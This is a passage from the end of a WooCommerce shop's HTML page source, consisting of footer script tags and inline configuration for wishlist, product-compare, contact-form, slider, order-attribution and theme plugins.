successfully<\/div><\/div>"},"actions":{"add_to_wishlist_action":"add_to_wishlist","remove_from_wishlist_action":"remove_from_wishlist","reload_wishlist_and_adding_elem_action":"reload_wishlist_and_adding_elem","load_mobile_action":"load_mobile","delete_item_action":"delete_item","save_title_action":"save_title","save_privacy_action":"save_privacy","load_fragments":"load_fragments"},"nonce":{"add_to_wishlist_nonce":"68d473c42b","remove_from_wishlist_nonce":"f349b963ed","reload_wishlist_and_adding_elem_nonce":"dc3fde9fd5","load_mobile_nonce":"2a4d1a99fe","delete_item_nonce":"63dde7c6f3","save_title_nonce":"d2cd4e4383","save_privacy_nonce":"73357a219f","load_fragments_nonce":"cdfc104046"},"redirect_after_ask_estimate":"","ask_estimate_redirect_url":"https:\/\/preojon.com"};
/* ]]> */
</script>
<script type="text/javascript" src="https://preojon.com/wp-content/plugins/yith-woocommerce-wishlist/assets/js/jquery.yith-wcwl.min.js?ver=3.37.0" id="jquery-yith-wcwl-js"></script>
<script type="text/javascript" src="https://preojon.com/wp-includes/js/dist/hooks.min.js?ver=2810c76e705dd1a53b18" id="wp-hooks-js"></script>
<script type="text/javascript" src="https://preojon.com/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6" id="wp-i18n-js"></script>
<script type="text/javascript" id="wp-i18n-js-after">
/* <![CDATA[ */
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
/* ]]> */
</script>
<script type="text/javascript" src="https://preojon.com/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.9.8" id="swv-js"></script>
<script type="text/javascript" id="contact-form-7-js-extra">
/* <![CDATA[ */
var wpcf7 = {"api":{"root":"https:\/\/preojon.com\/wp-json\/","namespace":"contact-form-7\/v1"},"cached":"1"};
/* ]]> */
</script>
<script type="text/javascript" src="https://preojon.com/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.9.8" id="contact-form-7-js"></script>
<script type="text/javascript" src="https://preojon.com/wp-content/plugins/revslider/public/assets/js/rbtools.min.js?ver=6.6.18" defer async id="tp-tools-js"></script>
<script type="text/javascript" src="https://preojon.com/wp-content/plugins/revslider/public/assets/js/rs6.min.js?ver=6.6.18" defer async id="revmin-js"></script>
<script type="text/javascript" id="ts-shortcode-js-extra">
/* <![CDATA[ */
var ts_shortcode_params = {"ajax_uri":"\/wp-admin\/admin-ajax.php"};
/* ]]> */
</script>
<script type="text/javascript" src="https://preojon.com/wp-content/plugins/themesky/js/shortcode.js?ver=2.0.2" id="ts-shortcode-js"></script>
<script type="text/javascript" src="https://preojon.com/wp-content/plugins/themesky/js/owl.carousel.min.js?ver=2.0.2" id="owl-carousel-js"></script>
<script type="text/javascript" id="yith-woocompare-main-js-extra">
/* <![CDATA[ */
var yith_woocompare = {"ajaxurl":"\/?wc-ajax=%%endpoint%%","actionadd":"yith-woocompare-add-product","actionremove":"yith-woocompare-remove-product","actionview":"yith-woocompare-view-table","actionreload":"yith-woocompare-reload-product","add_nonce":"5d8129ec5d","remove_nonce":"de7848d54d","reload_nonce":"2fb8dc2a76","added_label":"Added","table_title":"Product Comparison","auto_open":"yes","loader":"https:\/\/preojon.com\/wp-content\/plugins\/yith-woocommerce-compare\/assets\/images\/loader.gif","button_text":"<i class=\"pe-7s-refresh-2\"><\/i><span class=\"ts-tooltip button-tooltip\">Compare<\/span>","cookie_name":"yith_woocompare_list","close_label":"Close"};
/* ]]> */
</script>
<script type="text/javascript" src="https://preojon.com/wp-content/plugins/yith-woocommerce-compare/assets/js/woocompare.min.js?ver=2.42.0" id="yith-woocompare-main-js"></script>
<script type="text/javascript" src="https://preojon.com/wp-content/plugins/yith-woocommerce-compare/assets/js/jquery.colorbox-min.js?ver=1.4.21" id="jquery-colorbox-js"></script>
<script type="text/javascript" src="https://preojon.com/wp-content/plugins/woocommerce/assets/js/sourcebuster/sourcebuster.min.js?ver=9.2.5" id="sourcebuster-js-js"></script>
<script type="text/javascript" id="wc-order-attribution-js-extra">
/* <![CDATA[ */
var wc_order_attribution = {"params":{"lifetime":1.0e-5,"session":30,"base64":false,"ajaxurl":"https:\/\/preojon.com\/wp-admin\/admin-ajax.php","prefix":"wc_order_attribution_","allowTracking":true},"fields":{"source_type":"current.typ","referrer":"current_add.rf","utm_campaign":"current.cmp","utm_source":"current.src","utm_medium":"current.mdm","utm_content":"current.cnt","utm_id":"current.id","utm_term":"current.trm","utm_source_platform":"current.plt","utm_creative_format":"current.fmt","utm_marketing_tactic":"current.tct","session_entry":"current_add.ep","session_start_time":"current_add.fd","session_pages":"session.pgs","session_count":"udata.vst","user_agent":"udata.uag"}};
/* ]]> */
</script>
<script type="text/javascript" src="https://preojon.com/wp-content/plugins/woocommerce/assets/js/frontend/order-attribution.min.js?ver=9.2.5" id="wc-order-attribution-js"></script>
<script type="text/javascript" src="https://preojon.com/wp-content/themes/boxshop/js/jquery.throttle-debounce.min.js?ver=2.1.1" id="jquery-throttle-debounce-js"></script>
<script type="text/javascript" id="boxshop-script-js-extra">
/* <![CDATA[ */
var boxshop_params = {"ajax_url":"\/wp-admin\/admin-ajax.php","sticky_header":"1","responsive":"1","ajax_search":"1"};
/* ]]> */
</script>
<script type="text/javascript" src="https://preojon.com/wp-content/themes/boxshop/js/main.js?ver=2.1.1" id="boxshop-script-js"></script>
<script type="text/javascript" src="https://preojon.com/wp-content/themes/boxshop/js/jquery.sticky.js?ver=2.1.1" id="jquery-sticky-js"></script>
<script type="text/javascript" src="https://preojon.com/wp-content/plugins/woocommerce/assets/js/select2/select2.full.min.js?ver=4.0.3-wc.9.2.5" id="select2-js" defer="defer" data-wp-strategy="defer"></script>
<script type="text/javascript" src="https://preojon.com/wp-includes/js/comment-reply.min.js?ver=6.6.5" id="comment-reply-js" async="async" data-wp-strategy="async"></script>
<script type="text/javascript" src="https://preojon.com/wp-content/plugins/js_composer/assets/js/dist/js_composer_front.min.js?ver=7.1" id="wpb_composer_front_js-js"></script>
<script></script></body>
</html>